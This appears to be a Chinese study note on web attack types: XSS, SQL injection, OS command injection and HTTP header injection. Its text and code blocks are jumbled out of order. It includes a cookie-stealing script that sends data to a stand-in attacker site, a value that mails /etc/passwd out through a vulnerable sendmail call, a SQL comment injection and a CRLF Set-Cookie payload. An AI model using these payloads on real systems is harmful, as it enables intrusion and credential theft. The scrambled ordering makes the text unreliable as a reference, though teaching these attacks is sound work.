一、针对Web的攻击技术
1.HTTP不具备必要的安全功能
2.在客户端即可篡改请求
在web应用中,从浏览器那里接受到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。所以Web用用可能会接受到与预期数据不相同的内容。
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到权限。
3.针对Web应用的攻击模式
对Web应用的攻击模式有两种:
主动攻击
被动攻击
以服务器为目标的主动攻击
主动攻击(active attack)是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源
主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。
以服务器为目标的被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。
被动攻击通常的攻击模式如下
攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标Web应用,运行攻击代码。
执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持有的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造
二、因输出转义不完全引发的安全漏洞
实施Web应用的安全对策大致分为以下两部分。
客户端的验证
-
Web应用端(服务器端)的验证
输入值验证
输出值验证
1 跨站脚本攻击
跨站脚本攻击(Cross-Site Scripting, XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内存运行非法的HTML标签或者JavaScript进行的一种攻击。动态创建的HTML代码部分可能隐藏这安全漏洞。就这样攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,就会收到被动攻击。
跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户信息
利用脚本窃取用户的Cookie,被害者在不知情的情况下,帮助攻击者发送恶意请求
显示伪造的文章或图片
1.1 跨站脚本攻击案例:
在表单输入框中嵌入
浏览器打开该URI后,直观没有发生任何变化,但设置的脚本开始偷偷运行,当用户在表单输入用户名、密码后,就会发送到攻击者的网站(http://hackr.jp),导致个人登录信息被窃取。 除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息。 该脚本内指定的http://hackr/xss.js文件。即下面这段采用JavaScript编写的代码 在存在可跨站脚本攻击安全漏洞的Web应用上执行上面代码,即可访问该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站(http://hackr.jp/),记录在登录日志中。然后就可以窃取到用户的Cookie信息 SQL注入(SQL Injection)是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。 Web应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入非法SQL语句。 SQL注入攻击有可能会造成以下等影响。 如果有一个搜索URI为:http://example.com/search?q=西红柿,则可以在数据库中查找author为西红柿的在售书籍信息。 当攻击者把西红柿的查询字段改为"西红柿'--'" 则会查出西红柿的所有数据数据信息(-- 之后全视为注释) SQL注入是攻击者讲SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。 比如:在上述案例中,把author的字面值"西红柿'--'"的字符串复制给$q SELECT * FROM bookTab WHERE auther = '$q' and flag = 1 SELECT * FROM bookTab WHERE auther = '西红柿'--' and flag = 1 可以把所有数据信息,甚至用户信息等重要信息得到或者篡改 OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的系统操作命令以达到攻击的目的。只要能调用Shell函数的地方就有可能被攻击。 OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令启动程序。通过OS注入攻击可以执行OS上安装着的各种程序。 如,有咨询表单,邮件地址,邮件内容。该功能可将用户信息的咨询邮件按已填写的对方的邮件地址发送 如果有一下代码 程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即 攻击者则会将下面的值作为邮件地址。 程序接收该值,构成以下的命令组合。 攻击者命令中的(;)会在OS中被分解为多个执行命令的标记。 可见,sendmail命令被执行分隔后,接下来会执行 HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或者主体的一种攻击。属于被动攻击。 向首部主体内添加内容的攻击称为HTTP响应截断攻击( HTTP Response Splitting Attack) 如下,Web应用会把从外部接收到的数值,赋给响应首部字段的Location和Set-Cookie。 其中 12345 为插入值。 HTTP首部注入攻击可能像这样,通过某些响应首部字段需要处理输出值的地方,插入换行发动攻击。 HTTP首部注入攻击有可能会造成以下一些影响。 例如,某网站有分类信息:书籍(id:101)、音乐(id:102)、游戏(id:103) 假设有一个功能,选择对应的分类。将会根据对应的ID反映在响应的Location首部字段内。如: 那么,攻击者用 其中,%0D%0A代表HTTP报文中的换行符,紧接着是可强制将攻击者网站的回话ID设置成SID=123456789的Set-Cookie首部字段。 攻击者可以指定修改任意的Cookie信息,通过和会话固定攻击,攻击者伪装成用户。 HTTP响应截断攻击是用在HTTP首部注入的一种攻击,攻击顺序相同,但是讲两个%0D%0A%0D%0A并排插入字符串后。利用两个联系的换行就可以做出HTTP首部与主体分隔所需要的空行,然后就可以插入伪造的主体,打到攻击的目的。1.2 对用户Cookie的窃取攻击
``
```
var content = escape(document.cookie)
document.write('')
document.write(content)
document.write('>')
```
2 SQL注入攻击
非法查看或篡改数据库的数据
规避认证
执行和数据库服务器业务关联的程序等
2.1 SQL注入攻击案例
2.2 SQL注攻击破坏SQL数据结构
3 OS命令注入攻击
3.1 OS注入攻击案例
my $adr = $q->param('mailaddress');
open(MALL, "| /usr/sbin/sendmail $adr");
print MALL "From: [email protected]\n"
$adr
的值。;cat /etc/passwd | mail [email protected]
| /usr/sbin/sedmail; cat /etc/passwd | mail [email protected]
cat /etc/passwd | mail [email protected]
。那么还有Linux账户信息的文件就会以邮件形式发送到[email protected]。4 HTTP首部注入攻击
```
location: http:..www.example.com/a.cgi?q=12345
Set_cookie: UID=123456
```
设置任何Cookie信息
重定向到任意URL
显示任意的主体(HTTP响应截断攻击)
4.1 HTTP首部注入攻击案例
Location: http://example.com/?cat=101
。使浏览器发生重定向跳转。101%0D%0ASet-Cookie:+SID=123456789
代替之前对应的ID后发送请求。4.2 HTTP响应截断攻击